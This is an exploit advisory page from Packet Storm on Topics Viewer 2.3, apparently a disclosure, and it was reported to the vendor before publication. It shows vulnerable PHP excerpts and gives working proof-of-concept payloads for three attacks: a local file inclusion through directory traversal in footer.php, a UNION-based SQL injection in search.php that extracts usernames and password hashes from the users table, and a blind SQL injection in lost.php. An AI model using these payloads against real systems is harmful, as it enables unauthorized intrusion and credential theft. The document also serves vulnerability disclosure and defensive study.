exploit the possibilities

Topics Viewer 2.3 Local File Inclusion / SQL Injection

Topics Viewer 2.3 Local File Inclusion / SQL Injection
Posted May 28, 2012
Authored by n4ss1m

Topics Viewer version 2.3 suffers from local file inclusion and remote SQL injection vulnerabilities.

tags | exploit, remote, local, vulnerability, sql injection, file inclusion
MD5 | e3cb67f6722c2461b54f54e15a298b8e

Topics Viewer 2.3 Local File Inclusion / SQL Injection

Change Mirror Download
################################################################################################
# Exploit Title: Topics viewer v 2.3 Multiple Vulnerabilities
# Software Link: http://nilehoster.com/default/topicsviewer

# Author: n4ss1m
# Date: 19-05-2012
# Tested on: win/linux
# Home : www.Sec4ever.com <http://www.sec4ever.com/>


################################################################################################

# Local File Inclusion ( footer.php )

<?php

// footer file //

echo "<br>";
@include ("themes/$site_theme/templates/footer_head.html"); # <--
$site_theme without value
echo "<br>";

...etc...
?>

# PoC :
http://domain.tld/footer.php?site_theme=../robots.txt%00



# Note : register_globals must be ON

################################################################################################

# SQL injection ( search.php )

<?
...
$q = strip_tags (trim(str_replace('"','',$_GET['q']))); # <----
variable $q equal $_GET['q']
...
if(isset ($q) && !empty ($q) && $q != " ")
{
$q = strip_tags(trim($_GET['q']));
$sql_s1 = "SELECT * FROM topics where t_title like '%$q%' OR t_desc
like '%$q%'"; # $q :)
$res_s1 = @mysql_query($sql_s1);
...
?>

# PoC :
http://domain.tld/search.php?q=junk'+union+select+1,group_concat(u_name,0x3a,u_mpass),3,4,5,6,7,8,9,10,11,12+from+users+where+u_id=1%23&search=true



# magic_quotes_gpc must be OFF

################################################################################################

# Blind SQL injection ( lost.php )

<?
....
if(!empty($_POST[uname]) && !empty($_POST[reg_mail]) &&
!empty($_POST[to_mail]) && strstr($_POST[to_mail],".") &&
strstr($_POST[to_mail],"@")
&& strstr($_POST[reg_mail],".") && strstr ($_POST[reg_mail],"@") ){
$s_pass = md5($_POST[s_pass]);
$sql_ver = "SELECT * FROM users where u_name = '$_POST[uname]' AND
u_email = '$_POST[reg_mail]'"; # <-- $_POST[uname] not secure we can
use it to inject mysql query
$res_ver = @mysql_query ($sql_ver);
$result_ver = @mysql_numrows($res_ver);
$user = @mysql_fetch_assoc($res_ver);
....
?>

# PoC :

POST : uname=junk'[SQL
injection]%23®_mail=email@email.tld&to_mail=email2@email.tld&B1=true
http://domain.tld/lost.php



# magic_quotes_gpc must be OFF

################################################################################################
# References : http://www.exploit4arab.com/exploits/69


# Vendor reported on : 19-05-2012
# published on : 27-05-2012
################################################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close